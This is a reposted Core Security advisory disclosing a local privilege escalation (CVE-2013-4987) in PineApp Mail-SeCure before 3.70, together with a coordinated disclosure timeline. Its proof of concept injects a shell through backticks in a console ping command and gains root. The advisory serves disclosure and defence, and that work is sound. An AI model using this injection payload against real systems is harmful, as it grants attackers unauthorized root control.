首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PinApp Mail-SeCure Access Control Failure
来源:http://corelabs.coresecurity.com/ 作者:Petrusa 发布时间:2013-10-09  
Core Security - Corelabs Advisory
  
PinApp Mail-SeCure Access Control Failure
  
  
1. *Advisory Information*
  
Title: PinApp Mail-SeCure Access Control Failure
Advisory ID: CORE-2013-0904
Advisory URL:
Date published: 2013-10-02
Date of last update: 2013-10-02
Vendors contacted: PineApp Team
Release mode: Coordinated release
  
  
2. *Vulnerability Information*
  
Class: Access control failure [CWE-264]
Impact: Security bypass
Remotely Exploitable: No
Locally Exploitable: Yes
CVE Name: CVE-2013-4987
  
  
3. *Vulnerability Description*
  
A security vulnerability was discovered in PineApp [1] Mail-SeCure Suite
[2], allowing a non-privileged attacker to get a root shell by sending a
specially crafted command from the Mail-SeCure console. A valid user
account is needed to launch the attack, so this is a privileged
escalation vulnerability that can be exploited locally only.
  
  
4. *Vulnerable Packages*
  
   . All Mail-SeCure versions prior to 3.70.
  
  
5. *Non-Vulnerable Packages*
  
   . Mail-SeCure 3.70 (revision Sep. 2013).
  
  
6. *Credits*
  
This vulnerability was discovered and researched by John Petrusa from
Core Security.
This report was coordinated by Fernando Miranda from Core Advisories Team.
  
  
7. *Technical Description / Proof of Concept Code*
  
Open a Mail-SeCure console as 'pinapp' user and execute the following
command:
  
/-----
pa_cli> system ping `/bin/sh>/dev/tty`
-----/
  
As a result, you should be the super-user:
  
/-----
sh-3.00# id
uid=0(root) gid=0(root) groups=0(root)
-----/
  
  
8. *Report Timeline*
  
. 2013-09-03:
Core Security Technologies attempts to contact vendor using the PinApp
official contact page [3]. No reply received. Publication date is set
for Sep 25th, 2013.
  
. 2013-09-09:
Core attempts to contact vendor.
  
. 2013-09-10:
Vendor acknowledges Core's e-mail, and asks for a technical description
of the vulnerability.
  
. 2013-09-10:
Technical details sent to the vendor.
  
. 2013-09-16:
Core asks for a status update.
  
. 2013-09-17:
Vendor notifies that they have a fix that will be included in the next
revision update.
  
. 2013-09-19:
Vendor notifies that they will probably release the patch next week.
  
. 2013-09-30:
Core asks if there is a patch available.
  
. 2013-10-01:
Vendor notifies that they have released a global update to all
Mail-SeCure units worldwide to block the below vulnerability.
  
. 2013-10-02:
Advisory CORE-2013-0904 published.
  
  
9. *References*
  
[3] PinApp official contact page http://www2.pineapp.com/contact.
  
  
10. *About CoreLabs*
  
CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
  
  
11. *About Core Security Technologies*
  
Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and demonstrate real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.
  
Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
  
  
12. *Disclaimer*
  
The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
  
  
13. *PGP/GPG Keys*
  
This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Firefox For Android Same-Origi
·Abuse HTTP Server 2.8 Denial O
·Microsoft Internet Explorer Se
·davfs2 1.4.6/1.4.7 - Local Pri
·KMPlayer 3.7.0.109 (.wav) - Cr
·Internet Haut Debit Mobile Buf
·glibc and eglibc 2.5, 2.7, 2.1
·ALLPlayer 5.6.2 (.m3u) - Local
·HP LoadRunner magentproc.exe O
·ONO Hitron CDE-30364 Router -
·GestioIP Remote Command Execut
·Indusoft Thin Client 7.1 Activ
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved